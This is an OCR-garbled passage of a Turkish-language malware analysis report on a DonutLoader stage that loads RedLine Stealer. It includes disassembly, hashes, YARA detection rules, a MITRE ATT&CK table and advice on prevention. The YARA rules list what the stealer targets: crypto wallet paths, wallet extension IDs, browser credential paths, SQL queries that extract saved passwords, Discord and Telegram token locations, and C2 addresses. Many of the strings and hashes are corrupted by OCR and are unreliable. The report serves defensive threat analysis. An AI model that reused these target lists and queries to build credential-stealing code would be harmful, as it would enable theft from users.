6D GF 64 65(2E OD OD OA|24 00 00 00|00 00 00 00|mode....S5....... ]
50 45 00 00|4C 01 02 003D 86 45 63(00 58 02 00|PE..L...=.EC.X ]
36 00 00 00|E0 00 07 03[0B 01 02 1E(00 54 02 00(6...3........ T.. HEE
00 02 00 00|00 00 00 00/00 10 00 00|00 10 00 00|................ v

Sekil 58- Shellcode, igerisinde bulunan PE32/EXE’yi 400000 baslangi¢ adresinde ayirdigi alana yazmaktadir.
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Stage-9 (DonutLoader Varyant)

' Adi -
MD5 EPWhZhzGgbkAdpwJ8mK8c461yiP1Jrtco

SHA256 | f074954a72991fd39600285df6a293d80f51d9a5982583¢47bb25eabe89ed59c
Dosya PE32/EXE

Taru

Genel Bakis

Analiz sonucunda bu EXE’nin aslinda DonutLoader, konumdan bagimsiz VBScript,
JScript, EXE;*DLL ve .NET assembly dosyalarini s/memoryde calistirabilen acgik
kaynak kodlu/bir uygulama oldugu ve baska bir PE32/EXE dosya yuklemek igin
kullanildig1 tespit edilmistir. "Analiz edilen dosya .NET assembly  uygulamasidir.
SafeArrayCreate API'den sonra ayrilan alana EXE’yi yazmaktadir. Son olarak EXE'yi
calistirarak kullanmaktadir.

e 00424E1F 6A 01 push 1
o 0042421 6a 11 push 11
®||00424E23 FF53 6C call dword ptr ds:[ebx+6C] safearrayCreate
e 00424E26 8BF8 mov edi,eax
. 1 85FF test edi,edi
] ~ 74 60 je stage9.424E8C
. 8657 0OC mov edx,dword ptr ds:[edi+C]
[ ] 33C9 XOr ecx,ecx
. 398E 24050000 cmp dword ptr ds:[esi+524],ecx
R ] ~ 76 13 jbe stage9.424g4C
i . 8AB40E 28050000 mov al,byte ptr ds:[esi+ecx+528]
! . 880404 mov byte ptr ds:[edx+ecx],al
! ] 11 inc ecx
i . 3B8E 24050000 cmp ecx,dword ptr ds:[esi+524]
L ] ~ 72 ED jb stage9.424E39
Et}# ————— >0 884D 10 mov ecx,dword ptr ss:[lebp+10]
. 8D45 14 lea eax,dword ptr ss:[ebp+14]
] 50 push eax
e 00424€E53 57 push edi
e 00424E54 51 push ecx
< 1
dword ptr [ebx+6C]=[0043006C <&SafeArrayCreate>]=<oleaut32.safeArrayCreate>

.Text:00424E23 stage9.exe:$24E23 #24023

@4 Dokiml Wy Dkim2 4 Dakim3 U Dokiim4 Y4 Dakiims & fzle 1 Ix= Yerel Degigkenler 2 Yapi

Adres Hex ASCIT

004ECC40|4D 5A 90 00[03 00 00 00|04 00 00 OO|FF FF 00 OO|MZ.......... VY. .
004ECc50|B8 00 00 00|00 00 00 00(40 00 00 00|00 00 00 00| ,....... @......
004ECC60|00 00 00 00|00 00 00 00|00 00 00 Q00|00 00 00 00|...oiuvevnnnnnnnn
004ECC70|00 00 00 00|00 00 00 00(00 OO0 00 0O|BO 00 00 00|...cvivuvnnnannn
004ECC80|0E 1F BA OE |00 B4 09 CD|21 B8 01 4C|CD 21 54 68|..°.. .I! .LI!'Th
004ECCO0|69 73 20 70|72 6F 67 72|61 6D 20 63|61 6E BE 6F|is program canno
004ECCAD|74 20 62 65|20 72 75 B6E|20 69 6E 20 (44 4F 53 20|t be run in DOS
004ECCBO| 6D 6F 64 65|2E OD 0D OA |24 00 00 00|00 00 00 OO|mode....%.......
004ECCCO|50 45 00 00(4C 01 03 00|DD F4 69 89|00 00 00 OO|PE..L...¥di.....
004ECCDO|00 00 00 00 (EC 00 02 01 |0B 01 30 00 (00 0A 02 00|....3..... (D
NOMECCEOI 00 OF 00 o000 00 00 00I7F 29 02 0000 20 00 001 .. ... .. ~holl L

Sekil 59- Ayrilan alana RedLine zararlisi yazilmaktadir.
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Stage-10 (RedLine)

Adi DotNet_asm.exe

MD5 7¢256¢c8f03f242b2d417d32e09205ee

SHA256 | 400a474842968a5386202a183f3b8914fadb567c035f2530241ebfc981032504
Dosya PE32/.NET Assembly

Taru

Genel Bakis

Analiz sonucunda ArkeiStealer’in DonutLoader’r A kullanarak RedlineStealer
zararlisini makineye yukledigi tespit edilmistir. Zararli, belirli tlkelerin tespitini yapip o
ulkelerde calismamaktadir. Ayni.zamanda, Stage-3 ile benzer sekilde Browser

Cookie, Login Data, Crypto Wallet, ve System Info gibi verileri hedeflemektedir.

Listedeki Ulkelerden birinde olmasi durumunda zararli programi‘'sonlandirmaktadir.

Sekil 60- Zararli’nin ¢alismadidi ilkeler.
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YARA Kurali

rule dTpdzgz1lHo.exe

strings:

$strl="salilozadefutuzegapixevocahuloxihuwehefiveyaropi"

$str2="birazupululowuvurerozag"

$obs="VirtualProtect"

condition:

$obs and all of ($str*) or

all of ($str*)




rulestealing_time : stage3

strings:

$walletl = "\\Ethereum\\"

$wallet2 = "\\Electrum\\wallets\\"

$wallet3 = "\\Electrum-LTC\\wallets\\"

$wallet4 = "\\Exodus\\exodus.wallet\\"

$wallets5 = "\\ElectronCash\\wallets\\"

$wallet6 = "\MultiDoge\\"

$wallet7 = "multidoge.wallet"

$wallet8 = "\\jaxx\\Local Storage\\"

$wallet9 = "\\atomic\\Local Storage\\leveldb\\"

$wallet10 = "\\Binance\\"

$walletll = "\WCoinomi\\Coinomi\\wallets\\"

$wallet12 = "\Monero\\"

$walletl3 = "*.wallet"

$wallet14 = "\\com.liberty.jaxx\\IndexedDB\\file__0.indexeddb.leveldb\\"

$walletl5 = "\Daedalus Mainnet\\wallets\\"

$wallet16 = "\\Blockstream\\Green\\wallets\\"

$walletl7 = "\WalletWasabi\\Client\\Wallets\\"




t.me/myltgz”

t.me/babyflz”

t.me/slzsx”

65.109.5.131”

5.253.18.213”

$pluginl ="

$plugin2 ="

$plugin3 ="

$pluging ="

$plugin5 ="

$pluging ="

$plugin7 ="

$plugin8 ="

$plugin9 ="

$pluginl0 =

$pluginll =

$pluginl2 =

$pluginl3 =

$pluginls =

$pluginls =

$pluginl6 =

ibnejdfimmkpcnipebkimnkoeoihofec”

nkbihfbeogaeaoehlefnkodbefgpgknn

fhbohimaelbohpjbbldcngcnapndodjp”

ffnbelfdoeiohenkjibnmadijiehjhajb"

jbdaocneiiinmjbjlgalhcelgbejmnid”

afbcbjpbpfadlkmhmclhkeeodmamcfic”

hnfanknocfeofbddgcijnmhnfnkdnaad"

hpglfhgfnhbgpjdenjgmdgoeiappafln”

binieiiffboillknjnepogjhkgnoapac”

cjelfplplebdjjenlipjcbimjkfcffne”

fihkakfobkmkjojpchpfgcmhfinmnfpi*

kncchdigobghenbbaddojjnnaogfppfj"

amkmjjmmflddogmhpjloimipbofnfjih"

nlbmnnijcnlegkjjpcfjcimcfggfefdm”

nanjmdknhkinifnkgdcggcfnhdaammmj”

fnjhmkhhmkbjkkabndcnnogagogbneec”




$pluginl?7 = "cphhlgmgameodnhkjdmkpanlelnlohao”

$plugin18 = "nhnkbkgjikgcigadomkphalanndcapjk”

$pluginl9 = "kpfopkelmapcoipemfendmdcghnegimn”

$plugin20="

aiifbnbfobpmeekipheeijimdpnlpgpp”

$plugin21 = "dmkamcknogkgcdfhhbddcghachkejeap”

$plugin22 = "fhmfendgdocmcbmfikdcogofphimnkno”

$plugin23 = "cnmamaachppnkjgnildpdmkaakejnhae"

$plugin24 = "jojhfeoedkpkglbfimdfabpdfjaoolaf"

$plugin25 = "flpicilemghbmfalicajoolhkkenfel”

$plugin26 = "fnnegphlobjdpkhecapkijjdkgcjhkib"”

$plugin27 = "aeachknmefphepccionboohckonoeemg"

$plugin28 = "cgeeodpfagjceefiefimdfphplkenlfk"

$plugin29 = "pdadjkfkgcafgbceimcpbkalnfnepbnk"

$plugin30 = "imloifkgjagghnncjkhggdhalmenfkik"

$plugin31 = "acmacodkjbdgmoleebolmdjonilkdbch"

$plugin32 = "bfnaelmomeimhlpmgjnjophhpkkoljpa"

$plugin33 = "ejbalbakoplchlghecdalmeeeajnimhm®

$plugin34 = "odbfpeeihdkbihmopkbjmoonfanlbfcl”

$plugin35 = "fhilaheimglignddkjgofkcbgekhenbh"

$plugin36 = "mgffkfbidihjpoaomajlbgchddlicgpn”

$plugin37 = "aodkkagnadcbobfpggfnjeongemjbjca”

$plugin38 = "hmeobnfnfcmdkdcmlblgagmfpfboieaf"




$plugin39 = "Ipfcbjknijpeeillifnkikgncikgfhdo™

$plugin40 = "dngmliblcodfobpdpecaadgfbcggfjfnm"

$plugin4l = "Ipilbniiabackdjcionkobglmddfbcjo"

$plugin4d2 = "bhhhlbepdkbapadjdnnojkbgioiodbic"

$plugin43 = "dkdedlpgdmmekkfjabffeganieamfklkm"

$plugind4 = "hcflpincpppdclinealmandijcmnkbgn”

$cookiel = "MicrosoftEdge\\Cookies"

$cookie2 = "\\Mozilla\\Firefox\\Profiles\\"

$cookie3 = "\\Moonchild Productions\\Pale Moon\\Profiles\\"

$cookied = "\\Google\\Chrome\\User Data\\"

$cookie5 = "\\Chromium\\User Data\\"

$cookie6 = "\Amigo\\User Data\\"

$cookie7 = "\Torch\\User Data\\"

$cookie8 = "\Comodo\\Dragon\\User Data\\"

$cookie9 = "\\Epic Privacy Browser\\User Data\\"

$cookiel0 = "\\CocCoc\\Browser\\User Data\\"

$cookiell = "\\CocCoc\\Browser\\User Data\\"

$cookiel2 = "\\CentBrowser\\User Data\\"

$cookiel3 = "\TorBro\\Profile\\"

$cookiel4 = "\\Chedot\\User Data\\"




$cookiels = "\\brave\\"

$cookiel6 = "\\7Star\\7Star\\User Data\\"

$cookiel7 = "\\Microsoft\Edge\\User Data\\"

$cookiel8 = "\\360Browser\\Browser\User Data\\"

$cookiel9 = "\Tencent\QQBrowser\\User Data\\"

$cookie20 = "\\Opera Software\\Opera Stable\\"

$cookie21 = "\\Opera GX Stable\\"

$cookie22 = "\CryptoTab Browser\\User Data\\"

$cookie23 = "\\BraveSoftware\\Brave-Browser\\User Data\\"

'SELECT origin_url, username_value, password_value FROM logins"

'SELECT name, value FROM autofill"

'SELECT target_path, tab_url from downloads"

'SELECT url FROM urls"

'SELECT host, isHttpOnly, path, isSecure, expiry, name, value FROM moz_cookies"

'SELECT url FROM moz_places"

'SELECT fieldname, value FROM moz_formhistory"

\\discord\\"

Session Storage”

Local Storage"

leveldb"

\\Soft\\Discord\\discord_tokens.txt"

dQwAw9WgXcQ"




$tb = "\Thunderbird\\Profiles\\"

\\Telegram Desktop\\"

D877F783D5D3EF8C"

A7FDF864FBC10B77"

A92DAAGEAGF891F2"

F8806DD0OC461824F"

\\Soft\Telegram\\"

‘\information.txt"

condition:

4 of ($wallet*) and 5 of ($plugin*) or

5 of ($cookie*) and 3 of ($sql*) or

3 of ($dc*) and 2 of ($tg*) and $th

2 of ($ip*) and $info or

rule stage4

strings:

$strl = "Area of Geometrical figures."




$str2 = "Circumference of Geometrical figures."

$str3 = "Find the Largest number among 3 numbers.

$strd = "Listen to your heart!"

$str5 = "The circumference of Circle:"

$str6 = "The circumference of Rectangle:"

$str7 = "The circumference of triangle:"

$str8 = "The circumference of square:"

condition:

5 of ($str)

rule stage6

strings:

$strl = "\\Microsoft\\punpun.exe

$str2 = "AddUser:rawxdev"

$str3 = "oyasumi”

$str4 = "InfoDebug.exe"

$ip ="79.137.196.121"

condition:

2 of ($str*) and $ip




MITRE ATTACK TABLE

DefenseEvasion

Execution

CredentialAcces

Discovery

Collection

Exfliration

Debugger Windows Credentials from Query Automated Standard Exfiltration
Evasion CommandShell Web Browsers Registry Collection Encoding Over C2
(T1622) (T1059.003) (T1555.003) (T1012) (T1119) (T1132.001) Channel

(T1041)
Deobfuscate/ Password System Archive
Decode Filesor Managers Information Collected
Information (T1555.005) Discovery Data
(T1140) (T1082) (T1560)
Portable Steal Web Data from
Executable Session Cookie Local
Injection (T1539) System
(T1055.002) (T1005)
Browser
Session
Hijacking
(T1185)
Screen
Capture
(T1113)

Co6ziim Onerileri

ok~ WD

edilmelidir.

© ©® N ©

Guncel bir antivirlis programi kullaniimahdir.

Kullanilan igletim sistemini guncel tutulmalidir.

Kullanilan uygulamalar guncel tutulmalidir.

Parmak izi sifreleme USB cihazlari kullanilabilir.

Bilinmeyen e-postalarin ek dosyalari agilmamalidir.

Gulvenilir kaynaktan olmayan linklere tiklanmamalidir.

Kripto hesaplarda var ise ikiadimli dogrulama kullaniimalidir.

Parolalar bilgisayar igerisinde agik metin seklinde depolanmamalidir.

Soguk clzdan gibi daha guvenilir kripto para saklama yontemleri tercih
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